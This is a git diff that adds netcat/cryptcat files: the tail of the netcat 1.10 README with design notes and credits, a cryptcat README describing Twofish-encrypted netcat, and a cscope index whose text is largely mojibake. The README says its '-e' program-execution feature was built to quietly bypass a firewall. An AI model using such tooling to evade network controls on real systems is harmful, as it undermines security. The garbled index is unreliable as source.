+"Credits" section: The original idea for netcat fell out of a long-standing
+desire and fruitless search for a tool resembling it and having the same
+features. After reading some other network code and realizing just how many
+cool things about sockets could be controlled by the calling user, I started
+on the basics and the rest fell together pretty quickly. Some port-scanning
+ideas were taken from Venema/Farmer's SATAN tool kit, and Pluvius' "pscan"
+utility. Healthy amounts of BSD kernel source were perused in an attempt to
+dope out socket options and source-route handling; additional help was obtained
+from Dave Borman's telnet sources. The select loop is loosely based on fairly
+well-known code from "rsh" and Richard Stevens' "sock" program [which itself is
+sort of a "netcat" with more obscure features], with some more paranoid
+sanity-checking thrown in to guard against the distinct likelihood that there
+are subtleties about such things I still don't understand. I found the
+argument-hiding method cleanly implemented in Barrett's "deslogin"; reading the
+line as input allows greater versatility and is much less prone to cause
+bizarre problems than the more common trick of overwriting the argv array.
+After the first release, several people contributed portability fixes; they are
+credited in generic.h and the Makefile. Lauren Burka inspired the ascii art
+for this revised document. Dean Gaudet at Wired supplied a precursor to
+the hex-dump code, and mudge@l0pht.com originally experimented with and
+supplied code for the telnet-options responder. Outbound "-e <prog>" resulted
+from a need to quietly bypass a firewall installation. Other suggestions and
+patches have rolled in for which I am always grateful, but there are only 26
+hours per day and a discussion of feature creep near the end of this document.
+
+Netcat was written with the Russian railroad in mind -- conservatively built
+and solid, but it *will* get you there. While the coding style is fairly
+"tight", I have attempted to present it cleanly [keeping *my* lines under 80
+characters, dammit] and put in plenty of comments as to why certain things
+are done. Items I know to be questionable are clearly marked with "XXX".
+Source code was made to be modified, but determining where to start is
+difficult with some of the tangles of spaghetti code that are out there.
+Here are some of the major points I feel are worth mentioning about netcat's
+internal design, whether or not you agree with my approach.
+
+Except for generic.h, which changes to adapt more platforms, netcat is a single
+source file. This has the distinct advantage of only having to include headers
+once and not having to re-declare all my functions in a billion different
+places. I have attempted to contain all the gross who's-got-what-.h-file
+things in one small dumping ground. Functions are placed "dependencies-first",
+such that when the compiler runs into the calls later, it already knows the
+type and arguments and won't complain. No function prototyping -- not even the
+__P(()) crock -- is used, since it is more portable and a file of this size is
+easy enough to check manually. Each function has a standard-format comment
+ahead of it, which is easily found using the regexp " :$". I freely use gotos.
+Loops and if-clauses are made as small and non-nested as possible, and the ends
+of same *marked* for clarity [I wish everyone would do this!!].
+
+Large structures and buffers are all malloc()ed up on the fly, slightly larger
+than the size asked for and zeroed out. This reduces the chances of damage
+from those "end of the buffer" fencepost errors or runaway pointers escaping
+off the end. These things are permanent per run, so nothing needs to be freed
+until the program exits.
+
+File descriptor zero is always expected to be standard input, even if it is
+closed. If a new network descriptor winds up being zero, a different one is
+asked for which will be nonzero, and fd zero is simply left kicking around
+for the rest of the run. Why? Because everything else assumes that stdin is
+always zero and "netfd" is always positive. This may seem silly, but it was a
+lot easier to code. The new fd is obtained directly as a new socket, because
+trying to simply dup() a new fd broke subsequent socket-style use of the new fd
+under Solaris' stupid streams handling in the socket library.
+
+The catch-all message and error handlers are implemented with an ample list of
+phoney arguments to get around various problems with varargs. Varargs seems
+like deliberate obfuscation in the first place, and using it would also
+require use of vfprintf() which not all platforms support. The trailing
+sleep in bail() is to allow output to flush, which is sometimes needed if
+netcat is already on the other end of a network connection.
+
+The reader may notice that the section that does DNS lookups seems much
+gnarlier and more confusing than other parts. This is NOT MY FAULT. The
+sockaddr and hostent abstractions are an abortion that forces the coder to
+deal with it. Then again, a lot of BSD kernel code looks like similar
+struct-pointer hell. I try to straighten it out somewhat by defining my own
+HINF structure, containing names, ascii-format IP addresses, and binary IP
+addresses. I fill this structure exactly once per host argument, and squirrel
+everything safely away and handy for whatever wants to reference it later.
+
+Where many other network apps use the FIONBIO ioctl to set non-blocking I/O
+on network sockets, netcat uses straightforward blocking I/O everywhere.
+This makes everything very lock-step, relying on the network and filesystem
+layers to feed in data when needed. Data read in is completely written out
+before any more is fetched. This may not be quite the right thing to do under
+some OSes that don't do timed select() right, but this remains to be seen.
+
+The hexdump routine is written to be as fast as possible, which is why it does
+so much work itself instead of just sprintf()ing everything together. Each
+dump line is built into a single buffer and atomically written out using the
+lowest level I/O calls. Further improvements could undoubtedly be made by
+using writev() and eliminating all sprintf()s, but it seems to fly right along
+as is. If both exec-a-prog mode and a hexdump file is asked for, the hexdump
+flag is deliberately turned off to avoid creating random zero-length files.
+Files are opened in "truncate" mode; if you want "append" mode instead, change
+the open flags in main().
+
+main() may look a bit hairy, but that's only because it has to go down the
+argv list and handle multiple ports, random mode, and exit status. Efforts
+have been made to place a minimum of code inside the getopt() loop. Any real
+work is sent off to functions in what is hopefully a straightforward way.
+
+Obligatory vendor-bash: If "nc" had become a standard utility years ago,
+the commercial vendors would have likely packaged it setuid root and with
+-DGAPING_SECURITY_HOLE turned on but not documented. It is hoped that netcat
+will aid people in finding and fixing the no-brainer holes of this sort that
+keep appearing, by allowing easier experimentation with the "bare metal" of
+the network layer.
+
+It could be argued that netcat already has too many features. I have tried
+to avoid "feature creep" by limiting netcat's base functionality only to those
+things which are truly relevant to making network connections and the everyday
+associated DNS lossage we're used to. Option switches already have slightly
+overloaded functionality. Random port mode is sort of pushing it. The
+hex-dump feature went in later because it *is* genuinely useful. The
+telnet-responder code *almost* verges on the gratuitous, especially since it
+mucks with the data stream, and is left as an optional piece. Many people have
+asked for example "how 'bout adding encryption?" and my response is that such
+things should be separate entities that could pipe their data *through* netcat
+instead of having their own networking code. I am therefore not completely
+enthusiastic about adding any more features to this thing, although you are
+still free to send along any mods you think are useful.
+
+Nonetheless, at this point I think of netcat as my tcp/ip swiss army knife,
+and the numerous companion programs and scripts to go with it as duct tape.
+Duct tape of course has a light side and a dark side and binds the universe
+together, and if I wrap enough of it around what I'm trying to accomplish,
+it *will* work. Alternatively, if netcat is a large hammer, there are many
+network protocols that are increasingly looking like nails by now...
+
+_H* 960320 v1.10 RELEASE -- happy spring!
diff --git a/client/cryptcat/README.cryptcat b/client/cryptcat/README.cryptcat
new file mode 100644
index 0000000..ad03463
--- /dev/null
+++ b/client/cryptcat/README.cryptcat
@@ -0,0 +1,46 @@
+cryptcat = netcat + encryption
+
+Cryptcat is the standard netcat enhanced with twofish encryption.
+
+Twofish is courtesy of counterpane, and cryptix. We started with the
+Java version of twofish from cryptix, converted it to C++ (don't ask why),
+and enhanced it by adding CBC mode and the ciphertext stealing technique
+from Applied Cryptography (pg. 196)
+
+How do you use it?
+
+ Machine A: cryptcat -l -p 1234 < testfile
+ Machine B: cryptcat <machine A IP> 1234
+
+This is identical to the normal netcat options for doing exactly the
+same thing. However, in this case the data transferred is encrypted.
+
+Known issues:
+It is known that linux will throw errors like:
+/tmp/ccF9UdJx.o(.text+0x6d0): In function `getportpoop': :
+warning: Using 'getservbyname' in statically linked applications
+requires at runtime the shared libraries from the glibc version
+used for linking /tmp/ccF9UdJx.o(.text+0x61f): In function
+getportpoop': : warning: Using 'getservbyport' in statically
+linked applications requires at runtime the shared libraries from
+the glibc version used for linking
+
+This is due to using -static which either Hobbit or someone else
+insists in the Makefile is The Right Thing(tm). The compiled code
+still seems to run without an issue and according to ldd it is a
+static binary.
+
+
+Changes -- been putting these in Changelog file...
+
+Since release alot of people have been submitting changes (many times
+for the same thing). I've been doing my best to keep up, we are trying
+to get this up on sourceforge, but there seems to be some sort of
+"approval" process that makes it unclear if that will actually happen.
+
+So, if you have submitted something, and its not here, let me know. If you've
+submitted a change, and its here with someone else's name, that just means
+someone else got the same change in before you.
+
+If you have a change, let me know what name if any to include with
+the change.
diff --git a/client/cryptcat/cscope.out b/client/cryptcat/cscope.out
new file mode 100644
index 0000000..4e4de8f
--- /dev/null
+++ b/client/cryptcat/cscope.out
@@ -0,0 +1,97198 @@
+cscope 15 $HOME/sourceforge/hive/branches/cryptcat/unix 0000538334
+ @farm9crypt.cc
+
+21 #iâdeà
+WIN32
+
+
+22 
+ ~<¡ršg.h
+>
+
+23 
+ ~<sys/ty³s.h
+>
+
+24 
+ ~<sys/sock‘.h
+>
+
+25 
+ ~<¡dlib.h
+>
+
+27 
+ ~<fúŽ.h
+>
+
+28 
+ ~<io.h
+>
+
+29 
+ ~<cÚio.h
+>
+
+30 
+ ~<wšsock.h
+>
+
+31 
+ ~<time.h
+>
+
+36 
+ ~"çrm9üy±.h
+"
+
+39 
+ ~"twofish2.h
+"
+
+41 
+debug
+ =
+çl£
+;
+
+42 
+ gš™Ÿlized
+ =
+çl£
+;
+
+43 
+TwoFish
+*
+ gdeüy±Ü
+ =
+NULL
+;
+
+44 
+TwoFish
+*
+ g’üy±Ü
+ =
+NULL
+;
+
+46
"C" 
+ $çrm9üy±_debug
+() {
+
+47
+debug
+ =
+Œue
+;
+
+48
+ }
+}
+
+57
"C" 
+ $çrm9üy±_š™Ÿlized
+() {
+
+58 Ð
+š™Ÿlized
+ );
+
+59
+ }
+}
+
+72
"C" 
+ $çrm9üy±_š™
+Ð*
+key¡r
+ ) {
+
+74
+’üy±Ü
+ =
+Ãw
+
+ `TwoFish
+ `g’”©eKey
+key¡r
+ ),
+çl£
+,
+NULL
+, NULL );
+
+75
+deüy±Ü
+ =
+Ãw
+
+ `TwoFish
+ `g’”©eKey
+key¡r
+ ),
+Œue
+,
+NULL
+, NULL );
+
+76
+š™Ÿlized
+ =
+Œue
+;
+
+77
+ `¤ªd
+( 1000 );
+
+78
+ }
+}
+
+90 
+outBufãr
+[8193];
+
+91 
+ gšBufãr
+[8193];
+
+93
"C" 
+ $çrm9üy±_»ad
+Ð
+sockfd
+, *
+buf
+, 
+size
+ ) {
+
+94 
+tÙ®
+ = 0;
+
+95 
+outbuf
+[16];
+
+96 
+outbuf2
+[16];
+
+98 iàÐ
+size
+ > 8192 ) {
+
+99
+size
+ = 8192;
+
+101 
+tÙ®
+ < 32) {
+
+102 
+»suÉ
+ =
+ `»cv
+sockfd
+,
+buf
+ +
+tÙ®
+, 32 -otal, 0 );
+
+103 iàÐ
+»suÉ
+ > 0 ) {
+
+104
+tÙ®
+ +ð
+»suÉ
+;
+
+109
+deüy±Ü
+->
+ `ȣtCBC
+();
+
+110
+deüy±Ü
+->
+ `£tOuutBufãr
+Ð(*)&
+outBufãr
+[0] );
+
+111
+deüy±Ü
+->
+ `blockCry±
+buf
+,
+outbuf
+, 16 );
+
+112
+deüy±Ü
+->
+ `æush
+();
+
+113
+deüy±Ü
+->
+ `£tOuutBufãr
+Ð(*)&
+outBufãr
+[0] );
+
+114
+deüy±Ü
+->
+ `blockCry±
+buf
+ + 16,
+outbuf2
+, 16 );
+
+115 
+lim™
+ =
+ `©oi
+outbuf
+ );
+
+116
+tÙ®
+ = 0;
+
+117 *
+šbuf
+ = &
+šBufãr
+[0];
+
+119 
+tÙ®
+ <
+lim™
+ ) {
+
+120 
+»suÉ
+ =
+ `»cv
+sockfd
+,
+šbuf
+ +
+tÙ®
+,
+lim™
+ -otal, 0 );
+
+121 iàÐ
+»suÉ
+ > 0 ) {
+
+122
+tÙ®
+ +ð
+»suÉ
+;
+
+127 
+loc
+ = 0;
+
+128 *
+obuf
+ = &
+outBufãr
+[0];
+
+129 
+tÙ®
+ > 0 ) {
+
+130 
+amouÁ
+ = 16;
+
+131 iàÐ
+tÙ®
+ <
+amouÁ
+ ) {
+
+132
+amouÁ
+ =
+tÙ®
+;
+
+134
+deüy±Ü
+->
+ `blockCry±
+šbuf
+ +
+loc
+,
+outbuf
+,
+amouÁ
+ );
+
+135
+tÙ®
+ -ð
+amouÁ
+;
+
+136
+loc
+ += 16;
+
+138
+deüy±Ü
+->
+ `æush
+();
+
+139
+ `memýy
+buf
+,
+obuf
+ + 32,
+lim™
+ );
+
+140 *(
+buf
+ +
+lim™
+) = 0;
+
+141 Ð
+lim™
+ );
+
+142
+ }
+}
+
+144 
+loÿlBuf
+[2000];
+
+145
"C" 
+ $çrm9üy±_wr™e
+Ð
+sockfd
+, *
+buf
+, 
+size
+ ) {
+
+146 
+‹mpbuf
+[16];
+
+147 
+outbuf
+[16];
+
+149
+ `¥rštf
+‹mpbuf
+, "%d %d",
+size
+,
+ `¿nd
+() );
+
+150
+‹mpbuf
+[
+ `¡¾’
+(tempbuf)] = 'x';
+
+151
+’üy±Ü
+->
+ `£tSock‘
+sockfd
+ );
+
+152
+’üy±Ü
+->
+ `£tOuutBufãr
+Ð(*)&
+outBufãr
+[0] );
+
+153
+’üy±Ü
+->
+ `ȣtCBC
+();
+
+154
+’üy±Ü
+->
+ `blockCry±
+‹mpbuf
+,
+outbuf
+, 16 );
+
+155
+’üy±Ü
+->
+ `blockCry±
+‹mpbuf
+,
+outbuf
+, 16 );
+
+157 
+loc
+ = 0;
+
+158 
+tÙ®size
+ =
+size
+;
+
+159 
+size
+ > 0 ) {
+
+160 
+amouÁ
+ = 16;
+
+161 iàÐ
+size
+ <
+amouÁ
+ ) {
+
+162
+amouÁ
+ =
+size
+;
+
+164
+’üy±Ü
+->
+ `blockCry±
+buf
+ +
+loc
+, &
+outBufãr
+[loc+32],
+amouÁ
+ );
+
+165
+size
+ -ð
+amouÁ
+;
+
+166
+loc
+ +ð
+amouÁ
+;
+
+168
+’üy±Ü
+->
+ `æush
+();
+
+169 Ð
+tÙ®size
+ );
+
+170
+ }
+}
+
+ @farm9crypt.h
+
+10 
+çrm9üy±_š™
+Ð*
+škey
+ );
+
+11 
+çrm9üy±_debug
+();
+
+12 
+çrm9üy±_š™Ÿlized
+();
+
+13 
+çrm9üy±_»ad
+Ð
+sockfd
+, *
+buf
+, 
+size
+ );
+
+14 
+çrm9üy±_wr™e
+Ð
+sockfd
+, *
+buf
+, 
+size
+ );
+
+ @generic.h
+
+25 #iâdeà
+GENERIC_H
+
+
+26 
+ #GENERIC_H
+
+
+ )
+
+34 
+ #VOID_MALLOC
+
+
+ )
+
+37 
+ #HAVE_FLOCK
+
+
+ )
+
+40 
+ #HAVE_SETSID
+
+
+ )
+
+43 
+ #HAVE_RANDOM
+
+
+ )
+
+46 
+ #HAVE_RAND48
+
+
+ )
+
+54 
+ #HAVE_LSTAT
+
+
+ )
+
+59 
+ #HAVE_TERMIOS
+
+
+ )
+
+62 
+ #HAVE_NDBM
+
+
+ )
+
+65 
+ #UTMPX
+
+
+ )
+
+68 
+ #HAVE_SETPRIORITY
+
+
+ )
+
+71 
+ #HAVE_SYSINFO
+
+
+ )
+
+81 
+ #HAVE_STDLIB_H
+
+
+ )
+
+84 
+ #HAVE_UNISTD_H
+
+
+ )
+
+87 
+ #HAVE_STDARG_H
+
+
+ )
+
+90 
+ #HAVE_DIRENT_H
+
+
+ )
+
+93 
+ #HAVE_STRINGS_H
+
+
+ )
+
+96 
+ #HAVE_LASTLOG_H
+
+
+ )
+
+99 
+ #HAVE_PATHS_H
+
+
+ )
+
+102 
+ #HAVE_SELECT_H
+
+
+ )
+
+105 
+ #HAVE_PARAM_H
+
+
+ )
+
+106 
+ #HAVE_SYSMACROS_H
+
+
+ )
+
+107 
+ #HAVE_TTYENT_H
+
+
+ )
+
+223 #ifdeà
+MSDOS
+
+
+224 #undeà
+HAVE_FLOCK
+
+
+225 #undeà
+HAVE_RANDOM
+
+
+226 #undeà
+HAVE_LSTAT
+
+
+227 #undeà
+HAVE_TERMIOS
+
+
+228 #undeà
+UTMPX
+
+
+229 #undeà
+HAVE_SYSINFO
+
+
+230 #undeà
+HAVE_UNISTD_H
+
+
+231 #undeà
+HAVE_DIRENT_H
+
+
+232 #undeà
+HAVE_STRINGS_H
+
+
+233 #undeà
+HAVE_LASTLOG_H
+
+
+234 #undeà
+HAVE_PATHS_H
+
+
+235 #undeà
+HAVE_PARAM_H
+
+
+236 #undeà
+HAVE_SYSMACROS_H
+
+
+237 #undeà
+HAVE_SELECT_H
+
+
+238 #undeà
+HAVE_TTYENT_H
+
+
+242 #ifdeà
+ULTRIX
+
+
+243 #undeà
+UTMPX
+
+
+244 #undeà
+HAVE_PATHS_H
+
+
+245 #undeà
+HAVE_SYSMACROS_H
+
+
+246 #undeà
+HAVE_SELECT_H
+
+
+250 #ifdeà
+SUNOS
+
+
+251 #undeà
+VOID_MALLOC
+
+
+252 #undeà
+UTMPX
+
+
+253 #undeà
+HAVE_PATHS_H
+
+
+254 #undeà
+HAVE_SELECT_H
+
+
+258 #ifdeà
+SOLARIS
+
+
+260 #undeà
+HAVE_RANDOM
+
+
+261 #undeà
+HAVE_SETPRIORITY
+
+
+262 #undeà
+HAVE_STRINGS_H
+
+
+263 #undeà
+HAVE_PATHS_H
+
+
+264 #undeà
+HAVE_SELECT_H
+
+
+265 #undeà
+HAVE_TTYENT_H
+
+
+269 #ifdeà
+AIX
+
+
+270 #undeà
+UTMPX
+
+
+271 #undeà
+HAVE_LASTLOG_H
+
+
+272 
+ #HAVE_LOGIN_H
+
+
+ )
+
+277 #ifdeà
+LINUX
+
+
+278 #undeà
+UTMPX
+
+
+279 #undeà
+HAVE_SYSINFO
+
+
+280 #undeà
+HAVE_SELECT_H
+
+
+281 #undeà
+HAVE_TTYENT_H
+
+
+285 #ifdeà
+IRIX
+
+
+290 #ifdeà
+OSF
+
+
+291 #undeà
+UTMPX
+
+
+292 #undeà
+HAVE_SELECT_H
+
+
+296 #ifdeà
+FREEBSD
+
+
+297 #undeà
+UTMPX
+
+
+298 #undeà
+HAVE_SYSINFO
+
+
+299 #undeà
+HAVE_LASTLOG_H
+
+
+300 #undeà
+HAVE_SYSMACROS_H
+
+
+301 #undeà
+HAVE_SELECT_H
+
+
+306 #ifdeà
+BSDI
+
+
+307 #undeà
+UTMPX
+
+
+308 #undeà
+HAVE_LASTLOG_H
+
+
+309 #undeà
+HAVE_SYSMACROS_H
+
+
+311 #undeà
+HAVE_SELECT_H
+
+
+315 #ifdeà
+NETBSD
+
+
+316 #undeà
+UTMPX
+
+
+317 #undeà
+HAVE_SYSINFO
+
+
+318 #undeà
+HAVE_LASTLOG_H
+
+
+319 #undeà
+HAVE_SELECT_H
+
+
+323 #ifdeà
+HPUX
+
+
+324 #undeà
+HAVE_RANDOM
+
+
+325 #undeà
+HAVE_UTMPX
+
+
+326 #undeà
+HAVE_LASTLOG_H
+
+
+327 #undeà
+HAVE_PATHS_H
+
+
+328 #undeà
+HAVE_SELECT_H
+
+
+329 #undeà
+HAVE_TTYENT_H
+
+
+334 #ifdeà
+UNIXWARE
+
+
+336 #undeà
+HAVE_SETPRIORITY
+
+
+342 #undeà
+HAVE_STRINGS_H
+
+
+343 #undeà
+HAVE_PATHS_H
+
+
+344 #undeà
+HAVE_TTYENT_H
+
+
+348 #ifdeà
+AUX
+
+
+349 #undeà
+HAVE_RANDOM
+
+
+350 #undeà
+HAVE_SELECT_H
+
+
+356 #ifdeà
+NEXT
+
+
+357 #undeà
+UTMPX
+
+
+358 #undeà
+HAVE_SELECT_H
+
+
+362 #ifdeà
+GENERIC
+
+
+363 #undeà
+HAVE_FLOCK
+
+
+364 #ià
+defšed
+(
+SYSV
+) && (SYSV < 4)
+
+365 #undeà
+HAVE_LSTAT
+
+
+367 #undeà
+HAVE_TERMIOS
+
+
+368 #undeà
+UTMPX
+
+
+369 #undeà
+HAVE_PATHS_H
+
+
+370 #undeà
+HAVE_SELECT_H
+
+
+ @netcat.c
+
+37 
+ ~"g’”ic.h
+"
+
+42 
+ #HAVE_BIND
+
+
+ )
+
+43 
+ #HAVE_HELP
+
+
+ )
+
+46 #ifdeà
+HAVE_STDLIB_H
+
+
+47 
+ ~<¡dlib.h
+>
+
+49 
+ ~<m®loc.h
+>
+
+51 #ifdeà
+HAVE_SELECT_H
+
+
+52 
+ ~<sys/£Ëù.h
+>
+
+56 #ifdeà
+FD_SETSIZE
+
+
+57 #undeà
+FD_SETSIZE
+
+
+59 
+ #FD_SETSIZE
+ 16
+
+ )
+
+60 
+ ~<sys/ty³s.h
+>
+
+62 #ifdeà
+HAVE_RANDOM
+
+
+63 
+ #SRAND
+
+¤ªdom
+
+
+ )
+
+64 
+ #RAND
+
+¿ndom
+
+
+ )
+
+66 
+ #SRAND
+
+¤ªd
+
+
+ )
+
+67 
+ #RAND
+
+¿nd
+
+
+ )
+
+71 
+ ~<sys/time.h
+>
+
+72 
+ ~<£tjmp.h
+>
+
+73 
+ ~<sys/sock‘.h
+>
+
+74 
+ ~<Ãtš‘/š.h
+>
+
+75 
+ ~<Ãtš‘/š_sy¡m.h
+>
+
+76 
+ ~<Ãtš‘/.h
+>
+
+77 
+ ~<Ãtdb.h
+>
+
+78 
+ ~<¬·/š‘.h
+>
+
+79 
+ ~<¡dio.h
+>
+
+80 
+ ~<¡ršg.h
+>
+
+81 
+ ~<Ӽo.h
+>
+
+82 
+ ~<sigÇl.h
+>
+
+83 
+ ~<fúŽ.h
+>
+
+84 
+ ~<uni¡d.h
+>
+
+86 #ifdeà
+LINUX
+
+
+87 
+ ~<»sÞv.h
+>
+
+91 
+ #SA
+ 
+sockaddr
+
+
+ )
+
+92 
+ #SAI
+ 
+sockaddr_š
+
+
+ )
+
+93 
+ #IA
+ 
+š_addr
+
+
+ )
+
+95 
+ #SLEAZE_PORT
+ 31337
+
+ )
+
+96 
+ #USHORT
+ 
+
+ )
+
+97 
+ #BIGSIZ
+ 8192
+
+ )
+
+99 #iâdeà
+INADDR_NONE
+
+
+100 
+ #INADDR_NONE
+ 0xffffffff
+
+ )
+
+102 #ifdeà
+MAXHOSTNAMELEN
+
+
+103 #undeà
+MAXHOSTNAMELEN
+
+
+105 
+ #MAXHOSTNAMELEN
+ 256
+
+ )
+
+107 
+ #MAXKEYSIZE
+ 32
+
+ )
+
+109 
+ sho¡_poÝ
+ {
+
+110 
+ mÇme
+[
+MAXHOSTNAMELEN
+];
+
+111 
+ maddrs
+[8][24];
+
+112 
+š_addr
+
+ mŸddrs
+[8];
+
+114 
+ #HINF
+ 
+ho¡_poÝ
+
+
+ )
+
+116 
+ spÜt_poÝ
+ {
+
+117 
+ mÇme
+ [64];
+
+118 
+ mªum
+ [8];
+
+119
+USHORT
+
+ mnum
+;
+
+121 
+ #PINF
+ 
+pÜt_poÝ
+
+
+ )
+
+124
+jmp_buf
+
+ gjbuf
+;
+
+125 
+ gjv®
+ = 0;
+
+126 
+ gÃtfd
+ = -1;
+
+127 
+ gofd
+ = 0;
+
+128 
+ gunknown
+[] = "(UNKNOWN)";
+
+129 
+ gp_tý
+[] = "tcp";
+
+130 
+ gp_udp
+[] = "udp";
+
+131 #ifdeà
+HAVE_BIND
+
+
+132

+h_Ӽo
+;
+
+134 *
+ gh_”rs
+[] = {
+
+142 
+ gh_Ӽo
+;
+
+144 
+ gg©esidx
+ = 0;
+
+145 
+ gg©e¥Œ
+ = 4;
+
+146
+USHORT
+
+ gSšgË
+ = 1;
+
+147 
+ gš§ved
+ = 0;
+
+148 
+ gwrÙe_out
+ = 0;
+
+149 
+ gwrÙe_Ãt
+ = 0;
+
+150 
+ gwrÙe_txt
+[] = " sent %d,„cvd %d";
+
+151 
+ ghexnibs
+[20] = "0123456789abcdef ";
+
+154 
+timev®
+ *
+ gtim”1
+ =
+NULL
+;
+
+155 
+timev®
+ *
+ gtim”2
+ =
+NULL
+;
+
+156
+SAI
+ *
+ glþ’d
+ =
+NULL
+;
+
+157
+SAI
+ *
+ g»m’d
+ =
+NULL
+;
+
+158
+HINF
+ **
+ gg©es
+ =
+NULL
+;
+
+159 *
+ gÝtbuf
+ =
+NULL
+;
+
+160 *
+ gbigbuf_š
+;
+
+161 *
+ gbigbuf_Ãt
+;
+
+162
+fd_£t
+ *
+ gdšg1
+;
+
+163
+fd_£t
+ *
+ gdšg2
+;
+
+164
+PINF
+ *
+ gp܍oÝ
+ =
+NULL
+;
+
+165 *
+ g¡age
+ =
+NULL
+;
+
+168
+USHORT
+
+ go_®Ï
+ = 0;
+
+169 
+ go_š‹rv®
+ = 0;
+
+170
+USHORT
+
+ go_li¡’
+ = 0;
+
+171
+USHORT
+
+ go_næag
+ = 0;
+
+172
+USHORT
+
+ go_wfže
+ = 0;
+
+173
+USHORT
+
+ go_¿ndom
+ = 0;
+
+174
+USHORT
+
+ go_udpmode
+ = 0;
+
+175
+USHORT
+
+ go_v”bo£
+ = 0;
+
+176 
+ go_wa™
+ = 0;
+
+177
+USHORT
+
+ go_z”o
+ = 0;
+
+183 #ifdeà
+DEBUG
+
+
+184 
+ #Debug
+(
+x
+´štf
+ x;
+ `´štf
+ ("\n");
+
+ )
+
+187 
+ #Debug
+(
+x
+
+ )
+
+198 
+ $hÞËr
+ (
+¡r
+,
+p1
+,
+p2
+,
+p3
+,
+p4
+,
+p5
+,
+p6
+)
+
+199 *
+¡r
+;
+
+200 *
+p1
+, *
+p2
+, *
+p3
+, *
+p4
+, *
+p5
+, *
+p6
+;
+
+202 ià(
+o_v”bo£
+) {
+
+203
+ `årštf
+ (
+¡d”r
+,
+¡r
+,
+p1
+,
+p2
+,
+p3
+,
+p4
+,
+p5
+,
+p6
+);
+
+204 #ifdeà
+HAVE_BIND
+
+
+205 ià(
+h_Ӽo
+) {
+
+206 ià(
+h_Ӽo
+ > 4)
+
+207
+ `årštf
+ (
+¡d”r
+, "´•o¡”ou h_”ºo: %d",
+h_Ӽo
+);
+
+209
+ `årštf
+ (
+¡d”r
+, "%s\n",
+h_”rs
+[
+h_Ӽo
+]);
+
+210
+h_Ӽo
+ = 0;
+
+213 ià(
+Ӽo
+) {
+
+214
+ `³¼Ü
+ (" ");
+
+216
+ `årštf
+ (
+¡d”r
+, "\n");
+
+217
+ `fæush
+ (
+¡d”r
+);
+
+219
+ }
+}
+
+223 
+ $baž
+ (
+¡r
+,
+p1
+,
+p2
+,
+p3
+,
+p4
+,
+p5
+,
+p6
+)
+
+224 *
+¡r
+;
+
+225 *
+p1
+, *
+p2
+, *
+p3
+, *
+p4
+, *
+p5
+, *
+p6
+;
+
+227
+o_v”bo£
+ = 1;
+
+228
+ `hÞËr
+ (
+¡r
+,
+p1
+,
+p2
+,
+p3
+,
+p4
+,
+p5
+,
+p6
+);
+
+229
+ `þo£
+ (
+Ãtfd
+);
+
+230
+ `¦“p
+ (1);
+
+231
+ `ex™
+ (1);
+
+232
+ }
+}
+
+236 
+ $ÿtch
+ ()
+
+238
+Ӽo
+ = 0;
+
+239 ià(
+o_v”bo£
+ > 1)
+
+240
+ `baž
+ (
+wrÙe_txt
+,
+wrÙe_Ãt
+,
+wrÙe_out
+);
+
+241
+ `baž
+ ("…unt!");
+
+242
+ }
+}
+
+245 
+ $tmŒav–
+ ()
+
+247
+ `sigÇl
+ (
+SIGALRM
+,
+SIG_IGN
+);
+
+248
+ `®¬m
+ (0);
+
+249 ià(
+jv®
+ == 0)
+
+250
+ `baž
+ ("spuriousimer interrupt!");
+
+251
+ `lÚgjmp
+ (
+jbuf
+,
+jv®
+);
+
+252
+ }
+}
+
+256 
+ $¬m
+ (
+num
+,
+£cs
+)
+
+257 
+num
+;
+
+258 
+£cs
+;
+
+260 ià(
+£cs
+ == 0) {
+
+261
+ `sigÇl
+ (
+SIGALRM
+,
+SIG_IGN
+);
+
+262
+ `®¬m
+ (0);
+
+263
+jv®
+ = 0;
+
+265
+ `sigÇl
+ (
+SIGALRM
+,
+tmŒav–
+);
+
+266
+ `®¬m
+ (
+£cs
+);
+
+267
+jv®
+ =
+num
+;
+
+269
+ }
+}
+
+274 *
+ $Hm®loc
+ (
+size
+)
+
+275 
+size
+;
+
+277 
+s
+ = (
+size
+ + 4) & 0xfffffffc;
+
+278 *
+p
+ =
+ `m®loc
+ (
+s
+);
+
+279 ià(
+p
+ !ð
+NULL
+)
+
+280
+ `mem£t
+ (
+p
+, 0,
+s
+);
+
+282
+ `baž
+ ("Hm®loø%d fažed",
+s
+);
+
+283  (
+p
+);
+
+284
+ }
+}
+
+290 
+ $fšdlše
+ (
+buf
+,
+siz
+)
+
+291 *
+buf
+;
+
+292 
+siz
+;
+
+294 *
+p
+;
+
+295 
+x
+;
+
+296 ià(!
+buf
+)
+
+298 ià(
+siz
+ >
+BIGSIZ
+)
+
+300
+x
+ =
+siz
+;
+
+301 
+p
+ =
+buf
+;
+x
+ > 0; x--) {
+
+302 ià(*
+p
+ == '\n') {
+
+303
+x
+ = (è(
+p
+ -
+buf
+);
+
+304
+x
+++;
+
+305
+ `Debug
+ (("fšdlš»tuºšg %d",
+x
+))
+
+306  (
+x
+);
+
+308
+p
+++;
+
+310
+ `Debug
+ (("fšdlš»tuºšg whސthšg: %d",
+siz
+))
+
+311  (
+siz
+);
+
+312
+ }
+}
+
+319 
+ $com·»ho¡s
+ (
+poÝ
+,
+hp
+)
+
+320
+HINF
+ *
+poÝ
+;
+
+321 
+ho¡’t
+ *
+hp
+;
+
+323
+Ӽo
+ = 0;
+
+324
+h_Ӽo
+ = 0;
+
+327 #ifdeà
+ANAL
+
+
+328 ià(
+ `¡rcmp
+ (
+poÝ
+->
+Çme
+,
+hp
+->
+h_Çme
+) != 0) {
+
+330 ià(
+ `¡rÿ£cmp
+ (
+poÝ
+->
+Çme
+,
+hp
+->
+h_Çme
+) != 0) {
+
+332
+ `hÞËr
+ ("DNS fwd/»v mism©ch: % !ð%s",
+poÝ
+->
+Çme
+,
+hp
+->
+h_Çme
+);
+
+337
+ }
+}
+
+344
+HINF
+ *
+ $g‘ho¡poÝ
+ (
+Çme
+,
+num”ic
+)
+
+345 *
+Çme
+;
+
+346
+USHORT
+
+num”ic
+;
+
+348 
+ho¡’t
+ * hostent;
+
+349 
+š_addr
+
+Ÿddr
+;
+
+350 
+HINF
+ *
+poÝ
+ =
+NULL
+;
+
+351 
+x
+;
+
+372
+Ӽo
+ = 0;
+
+373
+h_Ӽo
+ = 0;
+
+374 ià(
+Çme
+)
+
+375
+poÝ
+ = (
+HINF
+ *è
+ `Hm®loc
+ ( (HINF));
+
+376 ià(!
+poÝ
+)
+
+377
+ `baž
+ ("gethostpoop fuxored");
+
+378
+ `¡rýy
+ (
+poÝ
